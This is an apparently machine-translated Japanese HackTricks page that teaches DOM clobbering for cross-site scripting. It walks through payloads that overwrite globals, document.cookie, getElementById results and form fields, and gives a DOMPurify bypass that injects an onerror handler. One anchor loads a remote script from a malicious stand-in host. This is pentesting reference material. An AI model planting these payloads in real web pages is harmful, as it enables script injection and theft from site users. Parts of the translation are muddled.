hacktricks/pentesting-web/xss-cross-site-scripting/dom-clobbering.md

14 KiB
Raw Blame History

Dom Clobbering

ゼロからヒーローまでAWSハッキングを学ぶ htARTEHackTricks AWS Red Team Expert

Basics

**HTMLタグ内のidname**属性を使用して、JSコンテキスト内でグローバル変数を生成することが可能です。

<form id=x></form>
<script> console.log(typeof document.x) //[object HTMLFormElement] </script>

特定の要素だけがname属性を使用してグローバルを上書きできます。それらは、embedformiframeimageimgobjectです。

興味深いことに、form要素を使用して変数を上書きすると、要素自体の**toString値が取得されます:[object HTMLFormElement]が、anchorではtoStringがアンカーのhrefになります。したがって、aタグを使用して上書きすると、それが文字列として扱われるときの値制御**できます:

<a href="controlled string" id=x></a>
<script>
console.log(x);//controlled string
</script>

配列と属性

配列やオブジェクトの属性を上書きすることも可能です。

<a id=x>
<a id=x name=y href=controlled>
<script>
console.log(x[1])//controlled
console.log(x.y)//controlled
</script>

3番目の属性x.y.zをclobberするには、**form**を使用する必要があります:

<form id=x name=y><input id=z value=controlled></form>
<form id=x></form>
<script>
alert(x.y.z.value)//controlled
</script>

より多くの属性をクロベリングすることはより複雑ですが、依然として可能です。iframesを使用します

<iframe name=x srcdoc="<a id=y href=controlled></a>"></iframe>
<style>@import 'https://google.com';</style>
<script>alert(x.y)//controlled</script>

{% hint style="warning" %} スタイルタグは、iframeがレンダリングされる十分な時間を与えるために使用されます。これがないと、未定義のアラートが表示されます。 {% endhint %}

より深い属性を上書きするには、次のようにHTMLエンコーディングを使用したiframeを使用できます:

<iframe name=a srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;amp;#x20;name=e&amp;amp;#x20;href=\controlled&amp;amp;gt;<a&amp;amp;#x20;id=d&amp;amp;gt; name=d>' name=b>"></iframe>
<style>@import 'https://google.com';</style>
<script>
alert(a.b.c.d.e)//controlled
</script>

フィルターのバイパス

もしフィルターがdocument.getElementByID('x').attributesのような方法でノードのプロパティループしている場合、属性**.attributes上書きしてフィルターを破壊することができます。他のDOMプロパティ、例えばtagNamenodeNameparentNodeなども上書き可能**です。

<form id=x></form>
<form id=y>
<input name=nodeName>
</form>
<script>
console.log(document.getElementById('x').nodeName)//FORM
console.log(document.getElementById('y').nodeName)//[object HTMLInputElement]
</script>

window.someObjectのクロベリング

JavaScriptでは、次のようなものが一般的です

var someObject = window.someObject || {};

Manipulating HTML on the page allows overriding someObject with a DOM node, potentially introducing security vulnerabilities. For example, you can replace someObject with an anchor element pointing to a malicious script:

<a id=someObject href=//malicious-website.com/malicious.js></a>

脆弱なコードの例:

<script>
window.onload = function(){
let someObject = window.someObject || {};
let script = document.createElement('script');
script.src = someObject.url;
document.body.appendChild(script);
};
</script>

この方法は、スクリプトソースを悪意のあるコードを実行するために悪用します。

トリック: DOMPurifyを使用すると、cid:プロトコルを使用できますが、これは二重引用符をURLエンコードしないことを意味します。これにより、ランタイムでデコードされるエンコードされた二重引用符を注入できます。したがって、<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//">のようなものを注入すると、HTMLエンコードされた&quot;ランタイムでデコードされ、属性値から脱出して**onerrorイベントを作成**します。

別のテクニックとして、**form**要素を使用する方法があります。特定のクライアントサイドライブラリは、新しく作成されたフォーム要素の属性を検査してクリーンアップします。ただし、フォーム内にid=attributesを持つinputを追加することで、実際の属性にアクセスできないように属性プロパティを上書きすることができます。

この種のクロブリングの例は、このCTF解説で見つけることができます

ドキュメントオブジェクトのクロブリング

ドキュメントオブジェクトの属性を上書きすることができるというドキュメントによると、DOM Clobberingを使用して次のようになります

Documentインターフェースは、名前付きプロパティをサポートしています。Documentオブジェクトのサポートされているプロパティ名は、いつでも木の順序に従って、後の重複を無視し、id属性の値が、同じ要素が両方の属性を提供する場合には、名前属性から値が来るときに、次のようになります:

- 公開されたembedformiframeimg、および公開されたobject要素の名前コンテンツ属性の値は、名前コンテンツ属性が空でない要素が、ドキュメントをルートとして持つドキュメントツリーにある場合;

- 公開されたobject要素の名前コンテンツ属性が空でないidコンテンツ属性を持ち、ドキュメントをルートとして持つドキュメントツリーにある場合;

- img要素の名前コンテンツ属性と名前コンテンツ属性が両方とも空でないidコンテンツ属性を持ち、ドキュメントをルートとして持つドキュメントツリーにある場合。

このテクニックを使用すると、**document.cookiedocument.bodydocument.childrenなどの一般的に使用される値や、document.querySelector**のようなDocumentインターフェースのメソッドを上書きできます。

document.write("<img name=cookie />")

document.cookie
<img name="cookie">

typeof(document.cookie)
'object'

//Something more sanitize friendly than a img tag
document.write("<form name=cookie><input id=toString></form>")

document.cookie
HTMLCollection(2) [img, form, cookie: img]

typeof(document.cookie)
'object

要素を乗っ取った後の書き込み

document.getElementById() および document.querySelector() への呼び出し結果は、同一のid属性を持つ <html> または <body> タグを注入することで変更することができます。以下にその方法を示します:

<div style="display:none" id="cdnDomain" class="x">test</div>
<p>
<html id="cdnDomain" class="x">clobbered</html>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
alert(document.querySelector('.x').innerText); // Clobbered
</script>

さらに、これらの挿入されたHTML/bodyタグを非表示にするためにスタイルを使用することで、innerText内の他のテキストからの干渉を防ぎ、攻撃の効果を高めることができます。

<div style="display:none" id="cdnDomain">test</div>
<p>existing text</p>
<html id="cdnDomain">clobbered</html>
<style>
p{display:none;}
</style>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>

SVGへの調査から、<body> タグも効果的に利用できることが明らかになりました:

<div style="display:none" id="cdnDomain">example.com</div>
<svg><body id="cdnDomain">clobbered</body></svg>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>

ブラウザーChromeやFirefoxなどでSVG内でHTMLタグを機能させるには、<foreignobject>タグが必要です:

<div style="display:none" id="cdnDomain">example.com</div>
<svg>
<foreignobject>
<html id="cdnDomain">clobbered</html>
</foreignobject>
</svg>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>

フォームのクロバリング

いくつかのタグ内でform属性を指定することで、フォーム内に新しいエントリを追加することが可能です。これを使用して、フォーム内に新しい値を追加したり、新しいボタンを追加してそれを送信することさえできます(クリックジャッキングまたは一部の.click() JSコードを悪用

<!--Add a new attribute and a new button to send-->
<textarea form=id-other-form name=info>
";alert(1);//
</textarea>
<button form=id-other-form type="submit" formaction="/edit" formmethod="post">
Click to send!
</button>

{% endcode %}

参考文献

htARTEHackTricks AWS Red Team ExpertでAWSハッキングをゼロからヒーローまで学ぶ htARTEHackTricks AWS Red Team Expert